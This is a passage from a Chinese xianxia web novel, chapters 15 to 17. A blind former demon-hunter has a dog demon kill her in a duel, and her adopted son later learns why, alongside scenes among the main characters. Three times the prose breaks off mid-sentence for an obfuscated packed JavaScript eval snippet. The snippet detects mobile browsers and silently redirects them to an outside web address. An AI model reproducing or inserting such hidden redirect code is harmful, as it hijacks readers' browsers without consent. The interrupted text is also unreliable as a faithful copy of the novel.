那股气味又浓重了些,小犬妖忍不住低下头,耳朵与尾巴都垂着。
接着,大娘忽然长叹了声,空洞的双眼望着某处出神,开始追忆往昔:
“……唉,遥想当年,老娘我也是一人一剑走南闯北,四处斩妖除魔,谁见了我都得尊称一句‘崔仙师’,若不是为了捉拿那只大妖……唉,现在年纪大了,身体不中用了,做什么事都束手束脚……”
小犬妖安静听着,忍不住抬头仔细看了看崔大娘。
与妖族相比,大娘年纪并不大,岁月只为她的鬓发染上华霜。除却一双瞎眼空洞无神,眉眼间依稀可见当年的锋芒,好似还能瞧见她挥剑的飒爽。
听大娘讲这些,它倒不是不乐意,只是心中隐隐有些不安。
紧接着,崔大娘忽然抬手招它过去:“来,坐到近前来,娘有话与你说。”
小犬妖顿时有些犹豫,但到底还是靠过去,忽被一把抓住手臂,向下用力扯,似是要让它蹲下。
这个高度距离,对方抬手能摸到它发顶的犬耳,很容易暴露它的身份。可转念一想,崔大娘都是快要死去的人了,便是让她知道自己的身份又如何?
于是它乖乖蹲下,结果就被崔大娘两手捧住脸,接着顺势揪住了它的耳朵。
“娘!”它大惊,下意识叫出了声,尾巴毛都炸起来。
未想对方早有预料,笑眯眯道:“你这小妖还挺乖,还叫我娘呢。”
“你、你什么时候发现的?”
对方话音未落,小犬妖便从人身上嗅到一股修者特有的气味,好像不好惹。而且耳朵是它的软肋,它不敢乱动。
“从你叫我娘开始就怀疑你了,”崔大娘双手揪着它的耳朵,又摸它的脑袋安抚,“别紧张,我只是想拜托你一件事。”
小犬妖却放松不下来:“什、什么事?”
“唉……”崔大娘又叹了口气,神色黯然,“我听说你们妖都能闻出将死之人的气味,是这样吧?”
小犬妖想点头,可耳朵被人牢牢揪在手里,只好应了声“对”。
“既然如此,我也不与你废话了。”
崔大娘轻轻点头,又深吸口气,似是下了某种决心,随后正色道:“我希望你能与我决斗,而后杀了我。”
15.第 15 章
“为什么?”小犬妖睁大眼,有些为难。
它妖力太弱,或许杀不死崔大娘。而更重要的是,它下不了手。
经过这段时间相处,崔大娘待它好,它也一直喊着“娘”,或许心里已将对方看作自己的亲人。
崔大娘微微一笑,来回抚摸它的脑袋,眯着眼继续追忆:
“我还小的时候,家人尽数被妖魔杀害,我也险些被它吃掉,幸得师父相救,还允我跟从她修炼。师父嫉恶如仇,我自小耳濡目染,也将斩妖除魔视作己任……”
她自幼天赋卓绝,修为超群,跟随师父成功捉拿妖邪,或是修为进境,是她平生最快乐的时候。
忽有一日,她们遇上一只大妖,强大到令人本能地恐惧,以她们二人的修为根本应付不了,身体难以自制地发抖,灵力运转都滞涩。
她心生退却之意,出招都犹豫。师父却迎难而上,视死如归,最后散尽修为,与那大妖同归于尽,护得身后徒弟与百姓周全。
直到师父的鲜血喷溅在脸上,烫得她发抖,她才恍然惊觉:
原来她与师父不同,她并非真正将斩妖除魔视作己任,她只是享受除妖之后被人称赞爱戴,与修为进境时受人艳羡的虚荣快感。
原来她从未走出家人被害,自己独自面对妖魔的那个夜晚。即便修炼有成,她依旧如从前一般怯懦。
所以面对大妖时,师父在想着如何战胜它,而她在想着如何临阵脱逃。
人人都道师父有个好徒弟,可实际她从未得到师父真传。若她也拼尽全力,师父不见得会死。是她害死了师父。
醒悟的她,一人一剑闯荡天下,成了不要命的疯子,见妖杀妖,遇魔斩魔。
人人敬她一声“崔仙师”,将她与师父齐名,她却心无波澜,甚至觉得自己不配,只期盼有朝一日死在妖魔手下,随师父而去。
她偏执得近乎入魔。
再后来,她捡到了被遗弃的崔岫。出于不忍,她将小孩儿养在身边,而年少时的偏执竟也在照顾小孩儿的繁琐日常中逐渐忘却,甚至得到治愈。
她像师父教导自己一样教导崔岫,好似这样能弥补什么。直到雏鸟羽翼渐丰,终于离开安全的巢穴,飞向辽阔天空。
永远有人正在年轻,会踏上她曾经的路。尽管不舍,她并未阻拦,甚至被那样蓬勃的朝气感染,她又开始向往。
可此时的她,由于早年太过疯狂,身体埋下太多隐患,终于被各种病痛缠上,药石无功,别说斩妖除魔,便连正常生活都困难。
她至今清晰记得双目失明以后,初次依靠拐杖摸索探路的焦躁与恐慌,更无法忍受遇到困难时,自己无法解决,只能等待他人相助的无力与挫败。
曾经的她是何等骄傲而风光的人物,怎会轻易向人示弱。在崔岫、在别人面前,她从来都是顶天立地,早就习惯逞强。即便上一刻才失足跌倒,下一刻也要咬牙从地上爬起,装出毫不费力的模样。
然而身体每况愈下,她实在无法接受毫无尊严地苟延残喘,而如今感觉到自己大限将至,骄傲如她,也断然无法接受这样的死法。
她想起师父曾对她说的话,“我们无法选择自己的出身,但能选择怎样活着,又为什么赴死。”
崔岫已长大成人,她已经没有牵挂,只剩下曾经的念想在支撑着她。
遇见小犬妖的那日,她正准备结束自己的生命,未想连最后要走都不太顺利体面,难以言喻的挫败绝望淹没了她。
而小犬妖在这时主动送上了门。
她一开始确实认错了人,生命最后一刻还遇见亲人,令她难以自制地落泪,便顺势进行最后的道别。
而后来发现对方其实是妖,她第一反应是惊喜——她终于能达成夙愿——她要在除妖途中赴死。
她一直在等着妖怪按捺不住露出獠牙,未想到对方始终犹豫不决,甚至只是一只弱小胆怯的妖,可能手上还未沾过人血。
或许换个对象会是更好的解决方法,可是她支撑不住了。无奈之下,只得由她亲自开这个口。
即便这到最后其实只是自欺欺人,但于她而言是无论如何都必须要完成的事。
崔大娘将自己的故事娓娓道来,小犬妖听完沉默良久,还有些不情愿,但迫于压力,只得点头。
“决斗日”选在一个下雨天,与崔大娘的师父仙逝那日是相同的天气。
她取出了那枚准备多时的符箓,用仅存的灵力拍在自己身上,召出许久未用的剑。
这枚符箓,能短暂激发身体潜能。双目复明时,世界再次呈现于眼前,她又控制不住地落泪。幸得这漫天飘落的雨丝遮掩,让她不至于在小犬妖面前丢脸。
她终于看清喊了她许多日“娘亲”的小妖长的什么模样。
土黄色的毛发,耷拉的兽耳,微微下垂的眼尾,棕黑色的鼻头。
明明是只妖,却弱小得可怜,在她的逼视之下甚至不敢抬头,连尾巴都垂着,紧紧夹了起来。
这是弱者面对强敌时的本能反应,令她一下子回想起自己少时面对那只大妖时,也是如此胆怯,畏缩不前。
她对将要杀死自己的对手不满,也对过去的自己不满,当即眉心紧蹙,毫不留情地讥嘲:
“原来只是一条狗,难怪那么听话,是不是还要对敌人摇起尾巴?”
留给她的时间不多了,她不敢浪费,话音落下当即刺出一剑。
此时她的修为远不及巅峰,小犬妖却像她从前对付那只大妖一样,只知一味闪躲。
她恨铁不成钢,出招愈加凌厉,沉声怒斥:“没用的东西,只会躲吗?这样下去,你要如何杀我?”
“我本来就打不过你啊!”小犬妖被打得几乎是抱头鼠窜,即使被这样嘲讽,也只是懦弱地觉得委屈。
崔大娘气得发笑:“知道自己打不过,那就不打了吗?连尝试的勇气都没有,怎么这么废物!”
“……”小犬妖闷声不吭。
察觉到符箓的加持效果快要维持不住,崔大娘逐渐心焦,边打边骂,毫不手软,打得犬妖浑身挂彩,毛发掉了一地。
“既然你杀不死我,那便成为我的剑下亡魂,随我一起下去吧!”
身体已快到极限,崔大娘杀红了眼,见对方指望不上,便决意赴死之前最后斩杀一只妖物。
她用尽最后气力,猛地提剑刺去,剑影如虹,锐不可当。若是击中,犬妖必死无疑。
未想到,变故陡生。
本该瘫软在地、乖乖受死的犬妖,忽然激烈挣扎起来,翻滚着后撤退开。
随后,一团白光笼罩,犬妖竟是化为庞大兽形,足有半人之高,猛地仰头嘶吼一声,随即像是一条凶恶的狼般朝她扑咬!
猝不及防之下,她的剑竟被獠牙夺去,甩飞半空。而她没有武器傍身,自然无法招架,很快也被扑倒在地,锋锐獠牙瞬间咬穿了她脆弱纤细的脖颈。
鲜血再度喷溅脸上,与当初感受到的温度相同,混着冰凉雨水,令她无法自制地颤抖。
视野如夜色降临般一寸寸灰暗下去,她仰着脸,在朦胧雨幕之中,似乎又看见一抹熟悉的身影。
白衣胜雪,身姿俊秀,执剑挡在她身前,温柔而坚定地告诉她:“不要怕。”
她忍不住笑了,慢慢闭上眼。
“师父,我不怕了。”
*
“谢兄,谢兄!好巧啊,你们怎么也在这里?”
谢妄之一行人继续北上,本以为就此与崔岫擦肩而过,未想到竟是在城镇偶遇。
此处是北荒境内最大的城镇,扶摇。一条大河穿城而过,沿岸商铺鳞次栉比,街上熙熙攘攘,行人摩肩接踵,叫卖吆喝声不绝于耳。
人潮之中,崔岫身形高大,背上那把大刀格外惹眼,刀鞘别具一格,火焰般的形状与色泽,还发着赤红的光,艳丽而热烈,叫人印象深刻。
少年似是刚买了什么东西,双臂挽起,健壮的胳膊里各夹着一个大包的油纸,稍稍走近些,一股水果与鲜花混合的醉人香气立即扑鼻而来。
隔着大老远的距离,崔岫眼尖看见他们,惊喜地一挑眉,随即大步流星过来,打量了眼他们:“真没想到会在这里遇见你们,你们也是来买水晶糕的吗?”
司尘微笑着挥手打了个招呼,池无月没有反应。
“什么水晶糕?”谢妄之眉峰微挑。
其实他们三人姿容卓绝,走在街上也是相当惹眼,人群甚至隐隐自发避开些,崔岫想不看见他们都难。
“就是这个呀!”崔岫爽朗一笑,侧身将夹在胳膊里的油纸包往前一递,示意他朝里头看。
谢妄之顺势瞥了眼,只见油纸包里是一团团晶莹剔透的糕点,挨挨挤挤一片,被雕成各种花卉的模样,小巧玲珑,精致可爱。那股混合的清甜香气变得浓郁了些,实在诱人垂涎。
店家本来应该帮崔岫把油纸封好,但他买得太多了,口封不住,只能这么敞着。
谢妄之浅淡应了声“哦”,崔岫又侧身让了让位置,露出后面一家糕点铺子,店门口列着条长龙,都是排队等着买的顾客,男女老少都有,看来受众甚广,生意火爆。
“看,人最多的那家。”崔岫朝后边轻抬了抬下颌,“那家店开好久了,每次人都特别多,要排队好久才能买到。这次我天还未亮就来了,还是排了足足一个时辰才到我,差点就卖完了。”
“什么味儿?甜的?”谢妄之眉峰微挑,有些意外,“你这么喜欢么?”
“哈哈哈,不是我爱吃啦,虽然它确实
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726756|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
味道不错,但我是给我娘买的。”
崔岫哈哈一笑,轻轻摇头,“我娘很喜欢吃这些,我每次出远门再回去,都要特意给她捎点。她老是说她不喜欢吃,让我别带了,但其实我每次给她带,她都能全部吃完。唉,喜欢就说嘛,真受不了她。”
“对了谢兄,你们要是现在去买,肯定是买不到了,我反正买了挺多,这包就给你们吧。”说着,崔岫立即把其中一包油纸递过来。
“不必,谢了。”谢妄之轻轻摇头,又蹙起眉,“你还没回去么?”
“啊?”崔岫一怔,有些不解,“是啊,怎么了?”
“……”谢妄之薄唇微抿,轻摇了下头,“没事,你快些回家吧。”
“哦哦。”崔岫应了声,模样有些憨,“但是我还要去买些药材。我娘身体不好,每天都得喝药,不知道家里还有没有剩。”
“嗯,那你快去。”
“是要现在去。”崔岫应了声,忽然用手肘轻捅了捅他,“话都说到这了,谢兄,你们若是有闲暇,要不要上我家坐坐?我娘烧饭很好吃,你口味重,一定会喜欢的。而且她也是修剑的,她年轻时候可厉害了。”
“……你们关系很好么?”谢妄之不置可否。
“当然了,难道还有不好的么?”崔岫不解,“我小的时候生重病,被我亲生父母扔了,要不是我娘捡了我,我早就被妖怪吃了。她一个人把我养这么大,很辛苦的……谢兄,怎么了?”
大概是见他面色不佳,崔岫说着说着就停了下来。
“没,就是挺羡慕的。”谢妄之轻勾了下唇角,眼中却无甚笑意,“既然你都邀请我了,那就走吧。”
“好,那跟我走吧。家里来了这么多客人,我娘也会高兴的。”
*
买了药材之后,崔岫拎着大包小包,带谢妄之几人乘坐马车回家,天渐渐下起雨。
“谢兄,你别看我这样,其实我娘对我好严格的。我修炼若是偷懒,她毫不心慈手软,提剑就揍我,我被揍最惨的那次,足足在榻上躺了三天,幸亏我皮糙肉厚。”
“她老是跟我说,‘人要知道自己为什么活着’,问我活着的意义是什么。谢兄,你说这我答得上来么?”
崔岫一如既往地话密,不厌其烦地说了他娘亲一路,看来感情相当深厚,羡煞旁人。
对此谢妄之和池无月没什么表示,全程安静听着。司尘则缩小身形坐在谢妄之肩膀,靠着他的脖颈昏昏欲睡。
其实谢妄之对这一段剧情印象不深,也只是粗略知道崔岫家里出了事,而具体是什么事,他并不清楚。
他是相当傲慢自我的人,从来都是更关心自己,鲜少在意别人的感受。
就是现在那话本摆在他面前,未来所有事无巨细写得清清楚楚,他也只会翻阅有关自己的部分,其余都是顺带,能记得多少也是纯看运气。
而崔岫越说自己娘亲,他越是好奇,心中不好的预感也越是强烈。
不多时,马车驶过空无一人的街道,停在一座小院前。
“娘,我回来啦!看我给你带了什么!”
崔岫下了马车,把东西拢在怀中,用自己的身体挡雨,大步往屋中去,同时扬声喊人。却喊了好几句都没听见应。
他在屋中转来转去,只觉家里一切正常,好像与他离家之前并无分别,就是没见着人。
直到他在某处捡到一根黑木拐杖,面色陡然发白,手上没拿稳,拐杖“咚”一声砸落在地。
“怎么了?”帮着找的谢妄之几人闻声赶来。
“我、我娘生病,眼睛看不见,除了在家里,她去哪儿都要带着这根拐杖。”崔岫伸手捂住头,声音微哑,似是哽咽,“但是,现在我找不到她……”
“你先别急。”心中不好的预感达到顶峰,谢妄之竟跟着有些紧张,但也只能先把人稳住。
而司尘开口道:“屋里有妖气,很微弱,但分布均匀稳定,像是在这里待了一段时间。难道是你娘认识的什么妖族朋友来过么?”
“不可能。”崔岫很快摇头否定,“我从未听我娘说起过。而且我娘早年四处斩妖除魔……坏了,莫非是来寻仇!”
崔岫自言自语,很快得出“结论”,猛地抬头看向司尘:“司尘兄,你能闻到这股妖气往哪儿去了么?”
司尘没有马上答应,先看了眼谢妄之,见他轻轻颔首才道:“嗯,跟我来。”话落便率先往出走。
几人跟着司尘很快来到一片荒地。
只见不远处,一只半人高的犬妖在刨土,它边上躺着一人,身上沾染大片血污。
崔岫立即认出那躺着的正是自己娘亲,浑身立时如坠冰窖。
下一刻,他猛地拔出大刀,身影一闪,朝犬妖劈了下去!
16.第 16 章
“嗷!”
犬妖停下刨土,飞快往旁边一闪,冲崔岫凶狠龇牙,喉里滚出威胁的闷响。
下一瞬,大刀劈砍在它原先的位置,地面闪过火光,现出一道深长沟壑,险些就要破坏崔大娘的遗体。
“娘!”
见状,崔岫赶忙收了刀,大步抢上前要将娘亲的遗体夺回。
未想到,犬妖猝然猛扑了上来,一口狠狠咬在他的胳膊!
“滚开!”
崔岫大怒,双目赤红,几乎失了理智。他疯狂甩手,另手扬拳一下一下砸在犬妖头颅。
可这畜生被他打得头破血流,土黄色毛发都被血液浸润,甚至颅骨都要碎裂,怎么都不肯松嘴。
“崔岫,冷静些——”
别人的家事不好贸然插手,谢妄之几人便在旁观战。他注意到犬妖的行为有些异常,便出声提醒。
但他话未说完便被崔岫低吼着打断:“我娘被只畜生咬死了,你让我怎么冷静!”
话音落下,死死咬着他的犬妖竟松了嘴,踉踉跄跄往后跌坐下来,趴在地上吐着舌头喘气。
崔岫赶忙扑到他娘亲身边,把人抱起一看,发现遗体的胸口贴了张橙黄符纸,不由一怔,随即抬头看向仍趴在一边、还不知道跑的犬妖,以及犬妖刨了一半的土坑。
他记得这张符纸,娘亲时时刻刻带在身上,还未失明时,她便时常把这张符纸拿出来翻看,嘴里一直念叨着“师父”。
那时他尚年幼,曾好奇问过几句,而娘亲不吝回答说,这张符纸是她师父唯一留下的东西,能短暂激发身体潜能,提升修为,关键时刻或许可以保命。
他天真地问:“既然知道自己打不过,那逃跑不行吗?”
娘亲面色微沉,抬手作势要打他,半途又停下来,轻叹了口气道:“是啊,打不过可以逃。可若是你非打不可,无处可逃呢?若你身后是手无寸铁的百姓、是你爱的亲人,你也要逃吗?”
之后,或许是因为他问出这种问题,让娘亲觉得自己教育方针出了差错,便时常拷问他,“你活着的意义是什么”。
那时他不过是个涉世未深的孩子,对生活并无太多感悟,也没有什么远大志向,哪里答得出什么高深东西,只好勉勉强强回了个“斩妖除魔”。
娘亲紧接着问:“那你愿意为了斩妖除魔去死吗?”
因幼时生过重病,在鬼门关转了一圈,崔岫深知死亡的重量与可怖。他犹豫了。
身为修士,他却这样贪生怕死,本以为娘亲又要打他,可娘亲只是低头看那张符纸,轻声道:“若能让我选择,我只愿意这样去死。”
回忆到此处,崔岫冷静下来,也发现了犬妖的异常行为。
千百年来,人类与妖魔总是对立,因其能通过吞噬人类增长修为,绝大多数的妖魔都是凶恶的。便是偶有一两只还未为恶的妖,一般修士也会秉持宁可错杀、不可放过的原则,驱除所有妖邪,如此更是恶性循环。
但眼前这只犬妖并未将娘亲的遗体吞噬,甚至为她刨了土坑,似是要将她安葬。明明这样弱小,为了保护娘亲的遗体还是勇敢向他扑咬。
此时,小犬妖终于缓过劲,连忙挣扎着爬起来为自己辩解:“听我解释!是你娘亲要求我杀了她的!”
“我如何相信你?”虽然心中已有猜测,但崔岫无法尽信,咬牙再度握紧了刀,“……我娘已经死了。”
“真的!”面对那把大刀,犬妖慌乱起来,瑟瑟发抖地小步往后退,“她跟我说了她师父的事,说她也想和师父一样死在妖魔手下。我、我本来是想等她死了再吃了她的,但是她对我好……”
它怕得甚至语无伦次,却让崔岫停住动作,神色挣扎。
“司尘,”在一旁观看许久的谢妄之忽然出声,“你有办法么?”
“当然。”
蝶妖很快明白他的意思,当即振翅朝小犬妖飞去。
淡金眼眸掺了血色,转为橙红,似落日熔金。小犬妖警惕地往后退,但与蝶妖对视一眼便松懈,乖乖趴到了地上。
紧接着,司尘轻轻挥手,犬妖的眉心发出一道光芒,周遭场景似水面泛起涟漪,再平静时,众人已进入由犬妖记忆构建的幻境。
若要知道真相,探查犬妖的记忆是最直接的方法,最快捷的便是搜魂之术。
但此法风险极高,被搜魂者通常极度抗拒,结果轻则精神紊乱,重则殒命。施术者若是控制不当,也会遭受反噬。除此之外,此法还涉及些伦理道德问题,正派修士不会轻易使用。
而司尘擅长幻术,想要探查犬妖的记忆不需如此麻烦。
犬妖的记忆以幻境形式再现,从四处漂泊流浪到意外来到这座边陲小镇、扶起崔大娘的拐杖,再到小心隐瞒妖族身份与崔大娘融洽相处,最后被崔大娘打得节节败退,又受到鼓舞,在生死关头终于暴起反杀,助其达成夙愿。
一切清清楚楚,犬妖并未说谎。崔岫良久沉默,终于缓缓放下刀,抬手捂住脸。
之后,崔岫好生安葬了母亲。而犬妖竟也全程陪同,崔岫怎么赶都不肯走。他一举起拳头,犬妖就跑,过会儿又慢慢靠过来,躲在角落。毛发脏兮兮的都是血,尾巴紧紧夹着,可怜委屈的模样。
重复几个来回之后,再见到犬妖时,崔岫高举起的拳头缓慢放下来,朝它走了过去。看见犬妖又想跑,他只好站在原地,招了招手,别扭道:“跑什么?过来,带你上医馆看看去。”
犬妖似是有些意外,但最终是慢腾腾挪过来。
谢妄之站在远处看着,浅淡勾了下嘴角。
在提醒崔岫归家时,他以为崔岫即将遭遇的只是一个寻常的、每日都会上演的悲剧,未想到其中还有这样的故事,他也能理解崔大娘的想法。
虽然崔岫未能阻止,但崔大娘是为毕生追求赴死,结局并不算差。
就算只是话本中无足轻重的人物,他们也都有自己的想法与追求。
就算他分不清这是否是话本里早就写好的结局,甚至连这所谓的毕生追求,都受话本设定的命运摆布。
那又如何?
他们并非束手就擒。
看到崔岫俯身去摸犬妖的脑袋时,谢妄之忽然感觉到身上有一种强烈的被窥视感。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752172|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他依凭直觉猛地抬头,却只是见到被雨洗净的天空。一瞬之后,那种感觉荡然无存。
不可名状,无法探查。
他只好捺下异样,留待日后观察。
身后的池无月与他反应一致,见他抬头,眸色微深。
*
崔岫还有些事要处理,几人分道扬镳,临行前,对方硬是把一包水晶糕都塞给了谢妄之,但谢妄之不爱吃甜,又丢给身后两人。
司尘虽然不吃,但他喜欢水晶糕的香味,就那么抱着,一路时不时低头深深嗅一口。
在酒楼用饭时,谢妄之又听到了些有关临光村几百口人被妖魔屠戮,而白家见死不救的传闻。
上次他们只是刚刚进入白家的地盘,可这次是在北荒最大最繁华的城镇,几乎就在白家眼皮子底下。
谢妄之眯眼回忆从前到白家游学时的经历,只觉大堂里几个公然谈论此事的人勇气可嘉。
未想到高手还在后头。
只见一人吊儿郎当坐在角落,翘着腿,不屑摆手道:“那算什么?”
他一副知道很多内情的模样,很快吸引众人目光,边上立刻有人追问道:“这位兄台有何高见?”
人都被吸引过来了,他却开始装作为难,摇摇头道:“这可是白家的秘密,我要是说出去,怕是活不到明日咯。”
众人道:“你放心,我们不会说出去的。”
这很明显是不负责任的玩笑话,那人浑不在意地摆手笑了笑,接着压低嗓音道:
“原来你们都不知道么?白家家主夫人是只妖,生下的儿子也是只妖。老婆孩子都是妖怪了,他心能向着我们么?怕是早就与妖邪勾结在一起咯。”
“啊?闻所未闻,真的假的?”
“难怪最近这种事情越来越多,诶我跟你们说,不只是临光村出事,还有……”
大堂瞬间乱做一锅粥。而方才坐在靠角落的那人则神不知鬼不觉地,从酒楼侧门出去了。
片刻,忽有一人惨叫出声,身子倒飞出去,“砰”一声砸在墙上,接着是一阵桌椅倒地、瓷器碎裂的混乱声响。
谢妄之朝下一看,原是几个白家的人进了酒楼,听见人们在说什么,当即面色铁青,竟毫不犹豫地出手伤人。
大堂立时更为混乱,人群作鸟兽散。
被打的那人当即爬起来跪地求饶,边上两个白家人似乎还不解气,一把拽起他的衣领,扬拳要打,却被一道声音阻止:
“住手!”
两人止住动作,回身朝出声的方向恭敬行礼。
只见酒楼门口先后进来两人,相貌有些许相似,年纪也相仿。
出声的那个大步走至打人的白家子弟身边,扬手一人扇了一巴掌,神色恼怒。
而后进门的那个表情淡漠,一身雪衣,干净出尘得仿若天上仙人。
他扫了眼堂中,似是提不起兴趣,转身要走。忽然一顿,抬眸望向二楼,与谢妄之对上视线。
谢妄之眉峰微挑,轻勾了下嘴角算是打过招呼。
未想对方立即蹙眉,明显的嫌恶之色。
17.第 17 章
眼见人头也不回地出了酒楼,谢妄之怔了一下,霍然起身,抓起司尘放在桌上的那包水晶糕大步追出去。
谁知就差那么一会儿,那抹白影跟凭空消失了似的,他四处找不见。沿岸又找了会儿,谢妄之兴头过了,打算回去。
未想一转身,正见一人站在一盏灯笼之下,沉默地看他。白衣墨发,长身玉立,气质清冷如雪,便是顶上投下橘红的暖光,也不能将他焐热半分。
正是他找的人,白家二公子,白青崖,是他去白家游学时认识的。
“有这么讨厌我么?一看见我就想走。”谢妄之眉峰一挑,笑着上前。
“……还来找我做什么。”对方移开视线,长睫低垂,嗓音也如落雪一般冷。
“难道不做什么,就不能找你了么?”谢妄之哼笑了声,把手里的油纸包递出去,“给你。”
白青崖站着不动,眉心微蹙:“这是什么?”
“水晶糕啊。”谢妄之下颌微抬,示意对方快些拿走,“你不是喜欢吃甜么?难道是我记错了?”
“……”白青崖眼睫微颤,藏在袖中的手指轻轻蜷了一下,有些犹豫,默了会儿又问,“你买的?”
“这倒不是,朋友送的。但是我们都不吃,不能浪费,正好给你了。”谢妄之说着又将油纸包往前送了送,几乎递到对方怀中。
未想到,白青崖闻言面色陡沉,接着猝然伸手,狠狠将油纸包拍落在地。
那油纸包本就没封口,水晶糕当即掉出来,一团团的撒了一地,晶莹剔透的表面沾染尘土,变得污浊,不能吃了。
谢妄之猝不及防,见状不由怔了一下,也沉下脸:“不吃就不吃,你干什么?”
“谢妄之,你还真是一点没变。”白青崖眉心紧蹙,看他的眼神愈发冷,毫不掩饰的厌恶,“难道我是你养的狗吗?你不要了的东西,统统丢给我。”
“……爱要不要,随便你。”谢妄之看人一会儿,气笑了,毫不犹豫转身就走。
等他走远,过了片刻,白青崖半跪下身,将散落的水晶糕一个个收拾起来。
确实是朋友送的,这油纸包上除了谢妄之的气味还有别人的,杂乱得令人恶心,跟围在谢妄之身边的人一样。
他从来都不重要,可有可无。谢妄之对他的好,也从来都是一时兴起,毫无耐心,比六月的雨还要随意。
这次也一样。片刻找不到他,就不愿找了。他就是犯贱才会心急到自己出来。
收拾到一半,白青崖顿了顿,还是挑拣出一个干净的水晶糕放进嘴里。
……不好吃。一点也不。
*
“公子方才去了哪里?”
谢妄之还未回到酒楼,先在半路遇见了池无月和司尘,这两人追出来找他。
注意到谢妄之双手空落落的,显然将那包水晶糕送给了谁,池无月眸色微沉。
司尘也有些不高兴,沉默地缩小身形坐上谢妄之肩膀,离他脖子远了些。但过会儿又慢慢挪过去。
谢妄之本来懒得答,忽然想到什么,嗤笑了声道:“去喂狗。”
“……”池无月垂下眼,“公子方才走得匆忙,白家大公子来找过您,让奴替他向公子问好。”
“嗯,本公子好得很。他还说什么了?”
“白家于下月初开放游学,”池无月顿了顿,微微侧头看了眼身后,见空无一物,眼眸眯起,不动声色地续道,“白大公子询问您是否要参与。”
世家之间通常会相互邀请,从这个意义上来说,游学其实算是上门做客。下月初开始,算算至少还有半月。
“哦。可是他家有只狗好凶,会咬人,太可怕了。”谢妄之笑了声,夸张地搓了下手臂,微微提高了些音量,“你跟他说,我要考虑一下。”
“……是。”
见到投落在地的某道影子微微一顿,随后隐没在黑暗中,池无月攥紧手指,眸色更深。
*
之后几日,谢妄之带着俩人在城中四处转了转,买了好些甜食。甚至池无月还被叫去买水晶糕,天还未亮就得去排队。
辛辛苦苦买回来,谢妄之却一口不吃,尽逮着过路的小孩子分出去,收获好几声又脆又甜的“谢谢神仙哥哥”。
他一连分了十来天,后来有几个孩子已经跟他混熟了,见到谢妄之就边喊着“神仙哥哥”边凑上来抱他大腿。谢妄之微笑应了,伸手摸了一圈圆脑袋。
与此同时,不出所料,当日在酒楼散播谣言的人都被神不知鬼不觉地处理了。众人心照不宣,没再把那些东西搬到明面上。
等到白家正式开放游学的前一晚,谢妄之要钓的鱼终于上钩了。
暮色四合,烛火幽微。
谢妄之沐浴完坐在桌边擦头发,面前摆着一包拆封的油纸袋,清甜的香气混着冷淡的木香在屋中弥漫。
他今天没去街上分水晶糕。另两人知道他要做什么,也只是敢怒不敢言。
不知过去多久,半阖的窗扇忽然被人从外打开,一道白影翻了进来,站在窗下,气质清泠如雪,一双眼隔着道高大屏风,落在坐于桌边的人身上。
“你倒是挑了个好时候。”谢妄之早就闻见声音,懒散支着头,隔着屏风与人对视,“怎么不过来?”
“……”那道身影顿了顿,缓步绕出屏风,坐在他身边。正是白青崖。
谢妄之忍俊不禁,伸手将桌上的油纸袋往人面前推。半途忽然停下,惊呼了声道:“啊,差点忘了,这是我家小奴隶买的,我还尝过了,你肯定不吃,算了。”
说着他便作势将油纸袋拿回。忽有一只手伸过来,抓着油纸袋边缘将他制止。
他顺势停下,双目紧盯着对方,恶劣地勾唇道:“怎么,你是我养的狗吗?我不吃了的东西你也要?”
“……”
面前人身体微僵,皙白脸颊与耳廓逐渐漫上绯色,侧头避开视线,薄唇紧抿,手却还抓着。
谢妄之笑了声,终于大发慈悲放过对面,轻抬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765446|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下颌示意:“吃吧吃吧,就是给你的。要不是你今天才来,之前买的也给你了。”
他这么说,白青崖反而松开手,指尖都藏到袖中轻轻蜷起来,脸颊也更红。缓了会儿才道:“明天,你会来么?”
谢妄之不置可否,挑眉反问道:“你希望我去么?”
对方抿起唇,幅度极轻地点了下头。
谢妄之哂笑,又故意道:“可是去你家游学不能带家仆,我的两个小奴隶怎么办?”
“……”白青崖面色陡沉,才柔软下来的眼神一下又变得冷厉,“之前那个我就不说了,你新找的,是妖。”
“我知道。”谢妄之点点头,无所谓地耸了下肩膀,“那又如何?他又不吃人。”
司尘不屑收起额顶触角与翅膀,不寻常的发色瞳色也标榜着他的异族身份,但凡长了眼睛,都能看出来他是妖。
不只是司尘,池无月八成也是妖。可那又如何。已经刻了奴印,这俩这辈子都伤不了他一根头发。
“可是——”
“那你家那只狗,会吃人吗?”
白青崖眉头蹙得更深,可话未说完便被谢妄之打断。他怔了一下,瞬间联想到旁的什么,但很快捺下,摇头笃定道:“不会。”
“那不就成了。”谢妄之笑了笑,浑不在意。
“但是他——”
